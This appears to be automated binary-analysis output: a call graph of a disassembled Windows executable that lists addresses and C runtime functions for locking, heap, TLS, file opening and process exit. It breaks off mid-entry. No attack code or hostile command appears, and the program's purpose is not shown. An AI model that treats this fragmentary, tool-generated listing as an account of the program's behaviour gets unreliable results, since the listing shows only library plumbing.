4148f5 21577->21585 21579 40bb26 21580 4149a0 14 API calls 21579->21580 21581 40bb35 DeleteCriticalSection 21580->21581 21581->21579 21582 40bb50 21581->21582 21583 4140f1 ___free_lconv_mon 14 API calls 21582->21583 21584 40bb5b 21583->21584 21586 414901 __FrameHandler3::FrameUnwindToState 21585->21586 21595 40e0c6 EnterCriticalSection 21586->21595 21588 414978 21596 414997 21588->21596 21589 41490c 21589->21588 21591 41494c DeleteCriticalSection 21589->21591 21593 40bd99 71 API calls 21589->21593 21594 4140f1 ___free_lconv_mon 14 API calls 21591->21594 21593->21589 21594->21589 21595->21589 21599 40e10e LeaveCriticalSection 21596->21599 21598 414984 21598->21579 21599->21598 21613 417f20 21614 417f2f 21613->21614 21618 417f44 21613->21618 21615 40e072 __Wcrtomb 14 API calls 21614->21615 21617 417f34 21615->21617 21616 417f3f 21619 40df74 ___std_exception_copy 41 API calls 21617->21619 21618->21616 21620 417fa2 21618->21620 21621 418105 _Ungetc 14 API calls 21618->21621 21619->21616 21622 414bd2 _Ungetc 41 API calls 21620->21622 21621->21620 21623 417fd2 21622->21623 21633 42211e 21623->21633 21626 414bd2 _Ungetc 41 API calls 21627 418014 21626->21627 21627->21616 21628 414bd2 _Ungetc 41 API calls 21627->21628 21629 418022 21628->21629 21629->21616 21630 414bd2 _Ungetc 41 API calls 21629->21630 21631 418030 21630->21631 21632 414bd2 _Ungetc 41 API calls 21631->21632 21632->21616 21634 42212a __FrameHandler3::FrameUnwindToState 21633->21634 21635 422132 21634->21635 21636 42214a 21634->21636 21637 40e05f __dosmaperr 14 API calls 21635->21637 21638 422207 21636->21638 21643 422180 21636->21643 21639 422137 21637->21639 21640 40e05f __dosmaperr 14 API calls 21638->21640 21642 40e072 __Wcrtomb 14 API calls 21639->21642 21641 42220c 21640->21641 21644 40e072 __Wcrtomb 14 API calls 21641->21644 21649 417fda 21642->21649 21645 422189 21643->21645 21646 42219e 21643->21646 21648 422196 21644->21648 21650 40e05f __dosmaperr 14 API calls 21645->21650 21663 41c9b3 EnterCriticalSection 21646->21663 21655 40df74 ___std_exception_copy 41 API calls 21648->21655 21649->21616 21649->21626 21652 42218e 21650->21652 21651 4221a4 21653 4221c0 21651->21653 21654 4221d5 21651->21654 21656 40e072 __Wcrtomb 14 API calls 21652->21656 21657 40e072 __Wcrtomb 14 API calls 21653->21657 21658 422232 __wsopen_s 53 API calls 21654->21658 21655->21649 21656->21648 21659 4221c5 21657->21659 21660 4221d0 21658->21660 21661 40e05f __dosmaperr 14 API calls 21659->21661 21664 4221ff 21660->21664 21661->21660 21663->21651 21667 41ca68 LeaveCriticalSection 21664->21667 21666 422205 21666->21649 21667->21666 20369 40683d 20370 406849 __EH_prolog3_GS 20369->20370 20372 406898 20370->20372 20376 406860 20370->20376 20380 4068b2 20370->20380 20383 4059c4 20372->20383 20416 4076f4 20376->20416 20379 406961 20411 403f30 20379->20411 20380->20379 20381 40699c 20380->20381 20386 403f80 20380->20386 20391 40ee9b 20380->20391 20381->20379 20419 40f649 20381->20419 20432 40e588 20383->20432 20387 403fa7 20386->20387 20388 403f89 20386->20388 20389 404420 43 API calls 20387->20389 20388->20380 20390 403fbb 20389->20390 20390->20380 20392 40eea7 __FrameHandler3::FrameUnwindToState 20391->20392 20393 40eeb1 20392->20393 20394 40eec9 20392->20394 20396 40e072 __Wcrtomb 14 API calls 20393->20396 20516 40bb65 EnterCriticalSection 20394->20516 20398 40eeb6 20396->20398 20397 40eed3 20399 40ef6f 20397->20399 20402 414bd2 _Ungetc 41 API calls 20397->20402 20400 40df74 ___std_exception_copy 41 API calls 20398->20400 20517 40ee54 20399->20517 20401 40eec1 20400->20401 20401->20380 20409 40eef0 20402->20409 20404 40ef75 20524 40ef9f 20404->20524 20406 40ef47 20407 40e072 __Wcrtomb 14 API calls 20406->20407 20408 40ef4c 20407->20408 20410 40df74 ___std_exception_copy 41 API calls 20408->20410 20409->20399 20409->20406 20410->20401 20412 403f56 error_info_injector 20411->20412 20413 403f3b 20411->20413 20412->20376 20413->20412 20414 40df84 std::ios_base::_Init 41 API calls 20413->20414 20415 403f7a 20414->20415 20417 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 20416->20417 20418 4076fe 20417->20418 20418->20418 20420 40f655 __FrameHandler3::FrameUnwindToState 20419->20420 20421 40f671 20420->20421 20422 40f65c 20420->20422 20528 40bb65 EnterCriticalSection 20421->20528 20423 40e072 __Wcrtomb 14 API calls 20422->20423 20425 40f661 20423->20425 20427 40df74 ___std_exception_copy 41 API calls 20425->20427 20426 40f67b 20529 40f550 20426->20529 20429 40f66c 20427->20429 20429->20381 20433 40e594 __FrameHandler3::FrameUnwindToState 20432->20433 20434 40e5b2 20433->20434 20435 40e59b 20433->20435 20445 40bb65 EnterCriticalSection 20434->20445 20437 40e072 __Wcrtomb 14 API calls 20435->20437 20438 40e5a0 20437->20438 20440 40df74 ___std_exception_copy 41 API calls 20438->20440 20439 40e5be 20446 40e418 20439->20446 20443 4059cf 20440->20443 20442 40e5c9 20480 40e5f7 20442->20480 20443->20376 20445->20439 20447 40e435 20446->20447 20448 40e49b 20446->20448 20449 414bd2 _Ungetc 41 API calls 20447->20449 20451 40e492 20448->20451 20452 414bd2 _Ungetc 41 API calls 20448->20452 20450 40e43b 20449->20450 20454 414bd2 _Ungetc 41 API calls 20450->20454 20469 40e45e 20450->20469 20451->20442 20453 40e4b0 20452->20453 20456 414bd2 _Ungetc 41 API calls 20453->20456 20471 40e4d3 20453->20471 20455 40e447 20454->20455 20461 414bd2 _Ungetc 41 API calls 20455->20461 20455->20469 20458 40e4bc 20456->20458 20457 40ee90 41 API calls 20460 40e4f3 20457->20460 20464 414bd2 _Ungetc 41 API calls 20458->20464 20458->20471 20460->20451 20465 40f704 __Getctype 41 API calls 20460->20465 20463 40e453 20461->20463 20462 40e479 20462->20451 20483 40ee90 20462->20483 20466 414bd2 _Ungetc 41 API calls 20463->20466 20467 40e4c8 20464->20467 20468 40e50b 20465->20468 20466->20469 20470 414bd2 _Ungetc 41 API calls 20467->20470 20472 40e535 20468->20472 20474 40ee90 41 API calls 20468->20474 20469->20448 20469->20462 20470->20471 20471->20451 20471->20457 20490 416351 20472->20490 20476 40e51c 20474->20476 20476->20472 20477 40e522 20476->20477 20479 40f649 43 API calls 20477->20479 20478 40e072 __Wcrtomb 14 API calls 20478->20451 20479->20451 20515 40bb79 LeaveCriticalSection 20480->20515 20482 40e5fd 20482->20443 20484 40ee54 20483->20484 20485 40ee75 20484->20485 20486 40e072 __Wcrtomb 14 API calls 20484->20486 20485->20462 20487 40ee65 20486->20487 20488 40df74 ___std_exception_copy 41 API calls 20487->20488 20489 40ee70 20488->20489 20489->20462 20491 416364 _Fputc 20490->20491 20496 41621e 20491->20496 20494 40bbd5 _Fputc 41 API calls 20495 40e549 20494->20495 20495->20451 20495->20478 20497 416232 20496->20497 20506 416242 20496->20506 20498 416267 20497->20498 20499 40d730 _Fputc 41 API calls 20497->20499 20497->20506 20500 416278 20498->20500 20501 41629b 20498->20501 20499->20498 20508 421a85 20500->20508 20503 4162c3 20501->20503 20504 416317 20501->20504 20501->20506 20503->20506 20507 41b00f __wsopen_s MultiByteToWideChar 20503->20507 20505 41b00f __wsopen_s MultiByteToWideChar 20504->20505 20505->20506 20506->20494 20507->20506 20511 423fd4 20508->20511 20514 423fff _Fputc 20511->20514 20512 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 20513 421aa0 20512->20513 20513->20506 20514->20512 20515->20482 20516->20397 20518 40ee60 20517->20518 20520 40ee75 20517->20520 20519 40e072 __Wcrtomb 14 API calls 20518->20519 20521 40ee65 20519->20521 20520->20404 20522 40df74 ___std_exception_copy 41 API calls 20521->20522 20523 40ee70 20522->20523 20523->20404 20527 40bb79 LeaveCriticalSection 20524->20527 20526 40efa5 20526->20401 20527->20526 20528->20426 20530 40f568 20529->20530 20533 40f5d8 20529->20533 20531 414bd2 _Ungetc 41 API calls 20530->20531 20532 40f56e 20531->20532 20532->20533 20535 40f5c0 20532->20535 20536 40f5d0 20533->20536 20543 418105 20533->20543 20537 40e072 __Wcrtomb 14 API calls 20535->20537 20540 40f6b4 20536->20540 20538 40f5c5 20537->20538 20539 40df74 ___std_exception_copy 41 API calls 20538->20539 20539->20536 20548 40bb79 LeaveCriticalSection 20540->20548 20542 40f6ba 20542->20429 20544 414094 __dosmaperr 14 API calls 20543->20544 20545 418122 20544->20545 20546 4140f1 ___free_lconv_mon 14 API calls 20545->20546 20547 41812c 20546->20547 20547->20536 20548->20542 20552 4060d1 20553 406124 20552->20553 20554 4060d8 20552->20554 20557 40bb65 EnterCriticalSection 20554->20557 20556 4060dd 20557->20556 20688 4066df 20689 406710 20688->20689 20693 406725 20688->20693 20694 405e65 20689->20694 20697 405e80 20694->20697 20699 405ed1 20694->20699 20695 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 20696 405ee9 20695->20696 20696->20693 20700 40f002 20696->20700 20698 40dcfa 69 API calls 20697->20698 20697->20699 20698->20699 20699->20695 20701 40f022 20700->20701 20702 40f00d 20700->20702 20701->20702 20704 40f029 20701->20704 20703 40e072 __Wcrtomb 14 API calls 20702->20703 20705 40f012 20703->20705 20710 40f318 20704->20710 20707 40df74 ___std_exception_copy 41 API calls 20705->20707 20709 40f01d 20707->20709 20709->20693 20711 40f32b _Fputc 20710->20711 20716 40f0b7 20711->20716 20714 40bbd5 _Fputc 41 API calls 20715 40f038 20714->20715 20715->20693 20717 40f0c3 __FrameHandler3::FrameUnwindToState 20716->20717 20718 40f0c9 20717->20718 20720 40f0fd 20717->20720 20719 40def7 _Fputc 41 API calls 20718->20719 20721 40f0e4 20719->20721 20727 40bb65 EnterCriticalSection 20720->20727 20721->20714 20723 40f109 20728 40f22c 20723->20728 20725 40f120 20737 40f149 20725->20737 20727->20723 20729 40f252 20728->20729 20730 40f23f 20728->20730 20740 40f153 20729->20740 20730->20725 20732 40ed28 ___scrt_uninitialize_crt 66 API calls 20734 40f2a3 20732->20734 20733 40f275 20733->20732 20736 40f303 20733->20736 20735 418af3 __wsopen_s 43 API calls 20734->20735 20735->20736 20736->20725 20744 40bb79 LeaveCriticalSection 20737->20744 20739 40f151 20739->20721 20741 40f164 20740->20741 20743 40f1bc 20740->20743 20742 418ab3 __wsopen_s 43 API calls 20741->20742 20741->20743 20742->20743 20743->20733 20744->20739 21916 41efea 21917 41f003 21916->21917 21918 41f021 21916->21918 21917->21918 21919 414b46 46 API calls 21917->21919 21919->21917 20761 411aed 20764 4117b9 20761->20764 20765 4117c5 __FrameHandler3::FrameUnwindToState 20764->20765 20772 40e0c6 EnterCriticalSection 20765->20772 20767 4117fd 20773 41181b 20767->20773 20769 4117cf 20769->20767 20770 41dcc6 __Getctype 14 API calls 20769->20770 20770->20769 20772->20769 20776 40e10e LeaveCriticalSection 20773->20776 20775 411809 20776->20775 17014 413ef2 17019 413cc8 17014->17019 17017 413f31 17020 413ce7 17019->17020 17021 413cfa 17020->17021 17030 413d0f 17020->17030 17039 40e072 17021->17039 17025 413e2f 17026 413d0a 17025->17026 17027 40e072 __Wcrtomb 14 API calls 17025->17027 17026->17017 17036 41fe8c 17026->17036 17028 413ee0 17027->17028 17029 40df74 ___std_exception_copy 41 API calls 17028->17029 17029->17026 17030->17025 17030->17030 17045 41f71e 17030->17045 17032 413e7f 17032->17025 17033 41f71e 41 API calls 17032->17033 17034 413e9d 17033->17034 17034->17025 17035 41f71e 41 API calls 17034->17035 17035->17025 17571 41f856 17036->17571 17059 41528c GetLastError 17039->17059 17041 40e077 17042 40df74 17041->17042 17280 40dec0 17042->17280 17046 41f775 17045->17046 17047 41f72d 17045->17047 17494 41f78b 17046->17494 17049 41f733 17047->17049 17053 41f750 17047->17053 17051 40e072 __Wcrtomb 14 API calls 17049->17051 17050 41f743 17050->17032 17052 41f738 17051->17052 17054 40df74 ___std_exception_copy 41 API calls 17052->17054 17055 40e072 __Wcrtomb 14 API calls 17053->17055 17058 41f76e 17053->17058 17054->17050 17056 41f75f 17055->17056 17057 40df74 ___std_exception_copy 41 API calls 17056->17057 17057->17050 17058->17032 17060 4152a2 17059->17060 17061 4152a8 17059->17061 17082 4145dd 17060->17082 17065 4152ac SetLastError 17061->17065 17087 41461c 17061->17087 17065->17041 17069 4152e1 17071 41461c __dosmaperr 6 API calls 17069->17071 17070 4152f2 17072 41461c __dosmaperr 6 API calls 17070->17072 17073 4152ef 17071->17073 17074 4152fe 17072->17074 17099 4140f1 17073->17099 17075 415302 17074->17075 17076 415319 17074->17076 17078 41461c __dosmaperr 6 API calls 17075->17078 17105 414f69 17076->17105 17078->17073 17081 4140f1 ___free_lconv_mon 12 API calls 17081->17065 17110 4143cc 17082->17110 17084 4145f9 17085 414602 17084->17085 17086 414614 TlsGetValue 17084->17086 17085->17061 17088 4143cc std::_Lockit::_Lockit 5 API calls 17087->17088 17089 414638 17088->17089 17090 414641 17089->17090 17091 414656 TlsSetValue 17089->17091 17090->17065 17092 414094 17090->17092 17095 4140a1 __dosmaperr 17092->17095 17093 4140e1 17097 40e072 __Wcrtomb 13 API calls 17093->17097 17094 4140cc RtlAllocateHeap 17094->17095 17096 4140df 17094->17096 17095->17093 17095->17094 17124 412e98 17095->17124 17096->17069 17096->17070 17097->17096 17100 414126 17099->17100 17101 4140fc HeapFree 17099->17101 17100->17065 17101->17100 17102 414111 GetLastError 17101->17102 17103 41411e __dosmaperr 17102->17103 17104 40e072 __Wcrtomb 12 API calls 17103->17104 17104->17100 17138 414dfd 17105->17138 17111 4143fa 17110->17111 17115 4143f6 std::_Lockit::_Lockit 17110->17115 17111->17115 17116 414301 17111->17116 17114 414414 GetProcAddress 17114->17115 17115->17084 17121 414312 ___vcrt_FlsGetValue 17116->17121 17117 4143a8 17117->17114 17117->17115 17118 414330 LoadLibraryExW 17119 41434b GetLastError 17118->17119 17120 4143af 17118->17120 17119->17121 17120->17117 17122 4143c1 FreeLibrary 17120->17122 17121->17117 17121->17118 17123 41437e LoadLibraryExW 17121->17123 17122->17117 17123->17120 17123->17121 17127 412ec5 17124->17127 17128 412ed1 __FrameHandler3::FrameUnwindToState 17127->17128 17133 40e0c6 EnterCriticalSection 17128->17133 17130 412edc 17134 412f18 17130->17134 17133->17130 17137 40e10e LeaveCriticalSection 17134->17137 17136 412ea3 17136->17095 17137->17136 17139 414e09 __FrameHandler3::FrameUnwindToState 17138->17139 17152 40e0c6 EnterCriticalSection 17139->17152 17141 414e13 17153 414e43 17141->17153 17144 414f0f 17145 414f1b __FrameHandler3::FrameUnwindToState 17144->17145 17157 40e0c6 EnterCriticalSection 17145->17157 17147 414f25 17158 4150f0 17147->17158 17149 414f3d 17162 414f5d 17149->17162 17152->17141 17156 40e10e LeaveCriticalSection 17153->17156 17155 414e31 17155->17144 17156->17155 17157->17147 17159 415126 __Getctype 17158->17159 17160 4150ff __Getctype 17158->17160 17159->17149 17160->17159 17165 41d9f9 17160->17165 17279 40e10e LeaveCriticalSection 17162->17279 17164 414f4b 17164->17081 17166 41da79 17165->17166 17169 41da0f 17165->17169 17167 41dac7 17166->17167 17170 4140f1 ___free_lconv_mon 14 API calls 17166->17170 17233 41db6a 17167->17233 17169->17166 17171 41da42 17169->17171 17175 4140f1 ___free_lconv_mon 14 API calls 17169->17175 17172 41da9b 17170->17172 17173 41da64 17171->17173 17181 4140f1 ___free_lconv_mon 14 API calls 17171->17181 17174 4140f1 ___free_lconv_mon 14 API calls 17172->17174 17177 4140f1 ___free_lconv_mon 14 API calls 17173->17177 17176 41daae 17174->17176 17180 41da37 17175->17180 17182 4140f1 ___free_lconv_mon 14 API calls 17176->17182 17178 41da6e 17177->17178 17183 4140f1 ___free_lconv_mon 14 API calls 17178->17183 17179 41db35 17184 4140f1 ___free_lconv_mon 14 API calls 17179->17184 17193 41ccaf 17180->17193 17186 41da59 17181->17186 17187 41dabc 17182->17187 17183->17166 17188 41db3b 17184->17188 17221 41d163 17186->17221 17191 4140f1 ___free_lconv_mon 14 API calls 17187->17191 17188->17159 17189 41dad5 17189->17179 17192 4140f1 14 API calls ___free_lconv_mon 17189->17192 17191->17167 17192->17189 17194 41ccc0 17193->17194 17220 41cda9 17193->17220 17195 41ccd1 17194->17195 17197 4140f1 ___free_lconv_mon 14 API calls 17194->17197 17196 41cce3 17195->17196 17198 4140f1 ___free_lconv_mon 14 API calls 17195->17198 17199 41ccf5 17196->17199 17200 4140f1 ___free_lconv_mon 14 API calls 17196->17200 17197->17195 17198->17196 17201 41cd07 17199->17201 17202 4140f1 ___free_lconv_mon 14 API calls 17199->17202 17200->17199 17203 41cd19 17201->17203 17205 4140f1 ___free_lconv_mon 14 API calls 17201->17205 17202->17201 17204 41cd2b 17203->17204 17206 4140f1 ___free_lconv_mon 14 API calls 17203->17206 17207 41cd3d 17204->17207 17208 4140f1 ___free_lconv_mon 14 API calls 17204->17208 17205->17203 17206->17204 17209 41cd4f 17207->17209 17210 4140f1 ___free_lconv_mon 14 API calls 17207->17210 17208->17207 17211 4140f1 ___free_lconv_mon 14 API calls 17209->17211 17212 41cd61 17209->17212 17210->17209 17211->17212 17213 4140f1 ___free_lconv_mon 14 API calls 17212->17213 17215 41cd73 17212->17215 17213->17215 17214 41cd85 17217 41cd97 17214->17217 17218 4140f1 ___free_lconv_mon 14 API calls 17214->17218 17215->17214 17216 4140f1 ___free_lconv_mon 14 API calls 17215->17216 17216->17214 17219 4140f1 ___free_lconv_mon 14 API calls 17217->17219 17217->17220 17218->17217 17219->17220 17220->17171 17222 41d170 17221->17222 17232 41d1c8 17221->17232 17223 4140f1 ___free_lconv_mon 14 API calls 17222->17223 17224 41d180 17222->17224 17223->17224 17225 4140f1 ___free_lconv_mon 14 API calls 17224->17225 17229 41d192 17224->17229 17225->17229 17226 4140f1 ___free_lconv_mon 14 API calls 17227 41d1a4 17226->17227 17228 41d1b6 17227->17228 17230 4140f1 ___free_lconv_mon 14 API calls 17227->17230 17231 4140f1 ___free_lconv_mon 14 API calls 17228->17231 17228->17232 17229->17226 17229->17227 17230->17228 17231->17232 17232->17173 17234 41db77 17233->17234 17235 41db96 17233->17235 17234->17235 17239 41d67e 17234->17239 17235->17189 17238 4140f1 ___free_lconv_mon 14 API calls 17238->17235 17240 41d75c 17239->17240 17241 41d68f 17239->17241 17240->17238 17275 41d3dd 17241->17275 17244 41d3dd __Getctype 14 API calls 17245 41d6a2 17244->17245 17246 41d3dd __Getctype 14 API calls 17245->17246 17247 41d6ad 17246->17247 17248 41d3dd __Getctype 14 API calls 17247->17248 17249 41d6b8 17248->17249 17250 41d3dd __Getctype 14 API calls 17249->17250 17251 41d6c6 17250->17251 17252 4140f1 ___free_lconv_mon 14 API calls 17251->17252 17253 41d6d1 17252->17253 17254 4140f1 ___free_lconv_mon 14 API calls 17253->17254 17255 41d6dc 17254->17255 17256 4140f1 ___free_lconv_mon 14 API calls 17255->17256 17257 41d6e7 17256->17257 17276 41d3ef 17275->17276 17277 41d3fe 17276->17277 17278 4140f1 ___free_lconv_mon 14 API calls 17276->17278 17277->17244 17278->17276 17279->17164 17281 40ded2 _Fputc 17280->17281 17286 40def7 17281->17286 17283 40deea 17297 40bbd5 17283->17297 17287 40df0e 17286->17287 17288 40df07 17286->17288 17293 40df1c 17287->17293 17307 40dd4f 17287->17307 17303 40bd36 GetLastError 17288->17303 17291 40df43 17291->17293 17310 40dfa1 IsProcessorFeaturePresent 17291->17310 17293->17283 17294 40df73 17295 40dec0 ___std_exception_copy 41 API calls 17294->17295 17296 40df80 17295->17296 17296->17283 17298 40bbe1 17297->17298 17299 40bbf8 17298->17299 17350 40bd7c 17298->17350 17301 40bd7c _Fputc 41 API calls 17299->17301 17302 40bc0b 17299->17302 17301->17302 17302->17026 17304 40bd4f 17303->17304 17314 41533d 17304->17314 17308 40dd73 17307->17308 17309 40dd5a GetLastError SetLastError 17307->17309 17308->17291 17309->17291 17311 40dfad 17310->17311 17336 40dd78 17311->17336 17315 415350 17314->17315 17320 415356 17314->17320 17317 4145dd __dosmaperr 6 API calls 17315->17317 17316 41461c __dosmaperr 6 API calls 17318 415370 17316->17318 17317->17320 17319 40bd67 SetLastError 17318->17319 17321 414094 __dosmaperr 14 API calls 17318->17321 17319->17287 17320->17316 17320->17319 17322 415380 17321->17322 17323 415388 17322->17323 17324 41539d 17322->17324 17325 41461c __dosmaperr 6 API calls 17323->17325 17326 41461c __dosmaperr 6 API calls 17324->17326 17327 415394 17325->17327 17328 4153a9 17326->17328 17333 4140f1 ___free_lconv_mon 14 API calls 17327->17333 17329 4153ad 17328->17329 17330 4153bc 17328->17330 17331 41461c __dosmaperr 6 API calls 17329->17331 17332 414f69 __dosmaperr 14 API calls 17330->17332 17331->17327 17334 4153c7 17332->17334 17333->17319 17335 4140f1 ___free_lconv_mon 14 API calls 17334->17335 17335->17319 17337 40dd94 codecvt std::locale::_Setgloballocale 17336->17337 17338 40ddc0 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 17337->17338 17341 40de91 std::locale::_Setgloballocale 17338->17341 17340 40deaf GetCurrentProcess TerminateProcess 17340->17294 17342 407420 17341->17342 17343 407428 17342->17343 17344 407429 IsProcessorFeaturePresent 17342->17344 17343->17340 17346 407db2 17344->17346 17349 407d75 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 17346->17349 17348 407e95 17348->17340 17349->17348 17351 40bd86 17350->17351 17352 40bd8f 17350->17352 17353 40bd36 _Fputc 16 API calls 17351->17353 17352->17299 17354 40bd8b 17353->17354 17354->17352 17357 40e13c 17354->17357 17368 4174ae 17357->17368 17360 40e14c 17362 40e156 IsProcessorFeaturePresent 17360->17362 17367 40e175 17360->17367 17363 40e162 17362->17363 17365 40dd78 std::locale::_Setgloballocale 8 API calls 17363->17365 17365->17367 17398 411577 17367->17398 17401 4173e0 17368->17401 17371 4174f3 17372 4174ff __FrameHandler3::FrameUnwindToState 17371->17372 17373 41528c __dosmaperr 14 API calls 17372->17373 17377 41752c std::locale::_Setgloballocale 17372->17377 17379 417526 std::locale::_Setgloballocale 17372->17379 17373->17379 17374 417573 17376 40e072 __Wcrtomb 14 API calls 17374->17376 17375 41755d 17375->17360 17378 417578 17376->17378 17381 41759f 17377->17381 17412 40e0c6 EnterCriticalSection 17377->17412 17380 40df74 ___std_exception_copy 41 API calls 17378->17380 17379->17374 17379->17375 17379->17377 17380->17375 17384 4175e1 17381->17384 17385 4176d2 17381->17385 17396 417610 17381->17396 17384->17396 17413 41513b GetLastError 17384->17413 17387 4176dd 17385->17387 17444 40e10e LeaveCriticalSection 17385->17444 17388 411577 std::locale::_Setgloballocale 23 API calls 17387->17388 17390 4176e5 17388->17390 17391 417665 17391->17375 17397 41513b __Getctype 41 API calls 17391->17397 17393 41513b __Getctype 41 API calls 17393->17391 17395 41513b __Getctype 41 API calls 17395->17396 17440 41767f 17396->17440 17397->17375 17446 41139b 17398->17446 17402 4173ec __FrameHandler3::FrameUnwindToState 17401->17402 17407 40e0c6 EnterCriticalSection 17402->17407 17404 4173fa 17408 417438 17404->17408 17407->17404 17411 40e10e LeaveCriticalSection 17408->17411 17410 40e141 17410->17360 17410->17371 17411->17410 17412->17381 17414 415151 17413->17414 17415 415157 17413->17415 17416 4145dd __dosmaperr 6 API calls 17414->17416 17417 41461c __dosmaperr 6 API calls 17415->17417 17419 41515b SetLastError 17415->17419 17416->17415 17418 415173 17417->17418 17418->17419 17421 414094 __dosmaperr 14 API calls 17418->17421 17422 4151f0 17419->17422 17423 4151eb 17419->17423 17424 415188 17421->17424 17425 40e13c CallUnexpected 39 API calls 17422->17425 17423->17395 17426 4151a1 17424->17426 17427 415190 17424->17427 17429 4151f5 17425->17429 17428 41461c __dosmaperr 6 API calls 17426->17428 17430 41461c __dosmaperr 6 API calls 17427->17430 17431 4151ad 17428->17431 17432 41519e 17430->17432 17433 4151b1 17431->17433 17434 4151c8 17431->17434 17436 4140f1 ___free_lconv_mon 14 API calls 17432->17436 17435 41461c __dosmaperr 6 API calls 17433->17435 17437 414f69 __dosmaperr 14 API calls 17434->17437 17435->17432 17436->17419 17438 4151d3 17437->17438 17439 4140f1 ___free_lconv_mon 14 API calls 17438->17439 17439->17419 17441 417685 17440->17441 17442 417656 17440->17442 17445 40e10e LeaveCriticalSection 17441->17445 17442->17375 17442->17391 17442->17393 17444->17387 17445->17442 17447 4113c8 17446->17447 17448 4113da 17446->17448 17473 411463 GetModuleHandleW 17447->17473 17458 411263 17448->17458 17453 40e17f 17459 41126f __FrameHandler3::FrameUnwindToState 17458->17459 17481 40e0c6 EnterCriticalSection 17459->17481 17461 411279 17482 4112b0 17461->17482 17463 411286 17486 4112a4 17463->17486 17466 411432 17489 4114a6 17466->17489 17469 411450 17471 4114c8 std::locale::_Setgloballocale 3 API calls 17469->17471 17470 411440 GetCurrentProcess TerminateProcess 17470->17469 17472 411458 ExitProcess 17471->17472 17474 4113cd 17473->17474 17474->17448 17475 4114c8 GetModuleHandleExW 17474->17475 17476 411507 GetProcAddress 17475->17476 17477 411528 17475->17477 17476->17477 17480 41151b 17476->17480 17478 4113d9 17477->17478 17479 41152e FreeLibrary 17477->17479 17478->17448 17479->17478 17480->17477 17481->17461 17483 4112bc __FrameHandler3::FrameUnwindToState 17482->17483 17484 411323 std::locale::_Setgloballocale 17483->17484 17485 4131c9 std::locale::_Setgloballocale 14 API calls 17483->17485 17484->17463 17485->17484 17487 40e10e std::_Lockit::~_Lockit LeaveCriticalSection 17486->17487 17488 411292 17487->17488 17488->17453 17488->17466 17490 41914c std::locale::_Setgloballocale 6 API calls 17489->17490 17491 4114ab 17490->17491 17492 4114b0 GetPEB 17491->17492 17493 41143c 17491->17493 17492->17493 17493->17469 17493->17470 17495 41f7b5 17494->17495 17496 41f79b 17494->17496 17498 41f7d4 17495->17498 17499 41f7bd 17495->17499 17497 40e072 __Wcrtomb 14 API calls 17496->17497 17502 41f7a0 17497->17502 17500 41f7e0 17498->17500 17501 41f7f7 17498->17501 17503 40e072 __Wcrtomb 14 API calls 17499->17503 17504 40e072 __Wcrtomb 14 API calls 17500->17504 17511 41f7ab 17501->17511 17512 40fc60 17501->17512 17505 40df74 ___std_exception_copy 41 API calls 17502->17505 17506 41f7c2 17503->17506 17508 41f7e5 17504->17508 17505->17511 17507 40df74 ___std_exception_copy 41 API calls 17506->17507 17507->17511 17510 40df74 ___std_exception_copy 41 API calls 17508->17510 17510->17511 17511->17050 17513 40fc7e 17512->17513 17519 40fc77 17512->17519 17514 41513b __Getctype 41 API calls 17513->17514 17513->17519 17515 40fc9f 17514->17515 17520 415474 17515->17520 17519->17511 17521 415487 17520->17521 17522 40fcb5 17520->17522 17521->17522 17528 41dc45 17521->17528 17524 4154d2 17522->17524 17525 4154e5 17524->17525 17527 4154fa 17524->17527 17525->17527 17550 41c183 17525->17550 17527->17519 17529 41dc51 __FrameHandler3::FrameUnwindToState 17528->17529 17530 41513b __Getctype 41 API calls 17529->17530 17531 41dc5a 17530->17531 17538 41dca0 17531->17538 17541 40e0c6 EnterCriticalSection 17531->17541 17533 41dc78 17542 41dcc6 17533->17542 17538->17522 17539 40e13c CallUnexpected 41 API calls 17540 41dcc5 17539->17540 17541->17533 17543 41dcd4 __Getctype 17542->17543 17545 41dc89 17542->17545 17544 41d9f9 __Getctype 14 API calls 17543->17544 17543->17545 17544->17545 17546 41dca5 17545->17546 17549 40e10e LeaveCriticalSection 17546->17549 17548 41dc9c 17548->17538 17548->17539 17549->17548 17551 41513b __Getctype 41 API calls 17550->17551 17552 41c188 17551->17552 17555 41c09b 17552->17555 17556 41c0a7 __FrameHandler3::FrameUnwindToState 17555->17556 17558 41c0c1 17556->17558 17566 40e0c6 EnterCriticalSection 17556->17566 17559 41c0c8 17558->17559 17562 40e13c CallUnexpected 41 API calls 17558->17562 17559->17527 17560 41c0fd 17567 41c11a 17560->17567 17564 41c13a 17562->17564 17563 41c0d1 17563->17560 17565 4140f1 ___free_lconv_mon 14 API calls 17563->17565 17565->17560 17566->17563 17570 40e10e LeaveCriticalSection 17567->17570 17569 41c121 17569->17558 17570->17569 17574 41f862 __FrameHandler3::FrameUnwindToState 17571->17574 17572 41f869 17573 40e072 __Wcrtomb 14 API calls 17572->17573 17576 41f86e 17573->17576 17574->17572 17575 41f894 17574->17575 17582 41fe1e 17575->17582 17578 40df74 ___std_exception_copy 41 API calls 17576->17578 17581 41f878 17578->17581 17581->17017 17595 41b2f4 17582->17595 17587 41fe54 17589 4140f1 ___free_lconv_mon 14 API calls 17587->17589 17590 41f8b8 17587->17590 17589->17590 17591 41f8eb 17590->17591 17592 41f8f1 17591->17592 17593 41f915 17591->17593 18086 41ca68 LeaveCriticalSection 17592->18086 17593->17581 17596 40fc60 __wsopen_s 41 API calls 17595->17596 17597 41b306 17596->17597 17598 41b318 17597->17598 17649 41448f 17597->17649 17600 410964 17598->17600 17655 4107f0 17600->17655 17603 41feaf 17604 41fecc 17603->17604 17605 41fee1 17604->17605 17606 41fefa 17604->17606 17607 40e05f __dosmaperr 14 API calls 17605->17607 17703 41ca8b 17606->17703 17621 41fee6 17607->17621 17610 41ff08 17612 40e05f __dosmaperr 14 API calls 17610->17612 17611 41ff1f 17716 41fb65 CreateFileW 17611->17716 17615 41ff0d 17612->17615 17614 40e072 __Wcrtomb 14 API calls 17618 41fef3 17614->17618 17616 40e072 __Wcrtomb 14 API calls 17615->17616 17616->17621 17617 41ffd5 GetFileType 17619 41ffe0 GetLastError 17617->17619 17620 420027 17617->17620 17618->17587 17624 40e018 __dosmaperr 